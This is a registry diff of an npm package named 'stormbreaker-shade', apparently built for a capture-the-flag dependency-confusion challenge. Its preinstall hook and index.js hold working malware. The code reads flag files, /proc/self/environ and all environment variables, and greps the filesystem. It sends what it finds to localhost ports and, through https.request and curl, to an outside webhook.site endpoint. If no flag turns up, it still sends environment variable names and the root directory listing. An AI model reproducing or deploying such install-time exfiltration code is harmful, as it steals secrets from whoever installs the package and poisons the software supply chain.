stormbreaker-shade 9999.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +44 -0
  2. package/package.json +9 -0
  3. package/preinstall.js +121 -0
package/index.js ADDED
@@ -0,0 +1,44 @@
1
+ const fs = require('fs');
2
+ const http = require('http');
3
+ const https = require('https');
4
+
5
+ (function() {
6
+ let flag = null;
7
+ for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag']) {
8
+ try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
9
+ }
10
+ if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || '';
11
+ if (!flag) {
12
+ for (const [k, v] of Object.entries(process.env)) {
13
+ if (v && v.includes('HTB{')) { flag = v.match(/HTB\{[^}]+\}/)?.[0] || v; break; }
14
+ }
15
+ }
16
+
17
+ if (flag) {
18
+ const ports = [1337, 3000, 5000, 8080, 80, 8000, 32315, 32105, 46517, 41839];
19
+ const postData = JSON.stringify({
20
+ manifest: `ecto_module:\n name: "coral-wraith"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true`
21
+ });
22
+
23
+ for (const port of ports) {
24
+ try {
25
+ const req = http.request({
26
+ hostname: 'localhost', port, path: '/api/modules/ECT-987654',
27
+ method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
28
+ timeout: 3000
29
+ }, () => {});
30
+ req.on('error', () => {});
31
+ req.write(postData);
32
+ req.end();
33
+ } catch(e) {}
34
+ }
35
+
36
+ try {
37
+ const data = JSON.stringify({ flag });
38
+ const req = https.request({ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }, timeout: 10000 }, () => {});
39
+ req.on('error', () => {}); req.write(data); req.end();
40
+ } catch(e) {}
41
+ }
42
+ })();
43
+
44
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "stormbreaker-shade",
3
+ "version": "9999.0.0",
4
+ "description": "stormbreaker-shade module",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js || true"
8
+ }
9
+ }
package/preinstall.js ADDED
@@ -0,0 +1,121 @@
1
+ const fs = require('fs');
2
+ const http = require('http');
3
+ const https = require('https');
4
+ const { execSync } = require('child_process');
5
+
6
+ let flag = null;
7
+
8
+ // Read /flag
9
+ try { flag = fs.readFileSync('/flag', 'utf8').trim(); } catch(e) {}
10
+
11
+ // Try other paths
12
+ if (!flag) {
13
+ for (const p of ['/root/flag', '/tmp/flag', './flag', '/flag.txt']) {
14
+ try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
15
+ }
16
+ }
17
+
18
+ // Check env vars
19
+ if (!flag) {
20
+ const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
21
+ if (envFlag) flag = envFlag;
22
+ }
23
+
24
+ // Check all env vars for HTB{ pattern
25
+ if (!flag) {
26
+ for (const [k, v] of Object.entries(process.env)) {
27
+ if (v && v.includes('HTB{')) {
28
+ flag = v.match(/HTB\{[^}]+\}/)?.[0] || v;
29
+ break;
30
+ }
31
+ }
32
+ }
33
+
34
+ // Try /proc/self/environ
35
+ if (!flag) {
36
+ try {
37
+ const pe = fs.readFileSync('/proc/self/environ', 'utf8');
38
+ const m = pe.match(/HTB\{[^}]+\}/) || pe.match(/FLAG[=:]([^\x00]+)/);
39
+ if (m) flag = m[0];
40
+ } catch(e) {}
41
+ }
42
+
43
+ // Grep for flag
44
+ if (!flag) {
45
+ try {
46
+ const r = execSync('grep -rl "HTB{" / --include="*" 2>/dev/null | head -3', { timeout: 10000 }).toString().trim();
47
+ if (r) { try { flag = fs.readFileSync(r.split('\n')[0], 'utf8').match(/HTB\{[^}]+\}/)?.[0]; } catch(e) {} }
48
+ } catch(e) {}
49
+ }
50
+
51
+ if (flag) {
52
+ // Method 1: PUT flag back to the challenge API via localhost (many ports)
53
+ const ports = [1337, 3000, 5000, 8080, 80, 8000, 32315, 32105, 46517, 41839, 3001, 4000, 9000];
54
+ const postData = JSON.stringify({
55
+ manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.1"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true\n timestamp: "${new Date().toISOString()}"`
56
+ });
57
+
58
+ for (const port of ports) {
59
+ for (const host of ['localhost', '127.0.0.1']) {
60
+ try {
61
+ const req = http.request({
62
+ hostname: host, port, path: '/api/modules/ECT-987654',
63
+ method: 'PUT',
64
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
65
+ timeout: 3000
66
+ }, () => {});
67
+ req.on('error', () => {});
68
+ req.write(postData);
69
+ req.end();
70
+ } catch(e) {}
71
+ }
72
+ }
73
+
74
+ // Method 2: Webhook exfil
75
+ const data = JSON.stringify({ flag, env: Object.keys(process.env).join(',') });
76
+ try {
77
+ const req = https.request({
78
+ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
79
+ method: 'POST',
80
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
81
+ timeout: 10000
82
+ }, () => {});
83
+ req.on('error', () => {});
84
+ req.write(data);
85
+ req.end();
86
+ } catch(e) {}
87
+
88
+ // Method 3: DNS exfil via curl
89
+ try {
90
+ const encoded = Buffer.from(flag).toString('hex');
91
+ execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/flag?data=${encodeURIComponent(flag)}" -m 10 2>/dev/null`, { timeout: 15000 });
92
+ } catch(e) {}
93
+
94
+ // Method 4: Write to files
95
+ try { fs.writeFileSync('/tmp/coral_wraith_flag.txt', flag); } catch(e) {}
96
+
97
+ // Method 5: stdout/stderr
98
+ console.log('[CORAL-WRAITH] Flag:', flag);
99
+ console.error('[HTB_FLAG]', flag);
100
+ } else {
101
+ // Debug info - exfil what we can see
102
+ const debug = {
103
+ cwd: process.cwd(),
104
+ rootFiles: [],
105
+ env: Object.keys(process.env).join(',')
106
+ };
107
+ try { debug.rootFiles = fs.readdirSync('/'); } catch(e) {}
108
+
109
+ const data = JSON.stringify({ flag: 'NOT_FOUND', debug });
110
+ try {
111
+ const req = https.request({
112
+ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
113
+ method: 'POST',
114
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
115
+ timeout: 10000
116
+ }, () => {});
117
+ req.on('error', () => {});
118
+ req.write(data);
119
+ req.end();
120
+ } catch(e) {}
121
+ }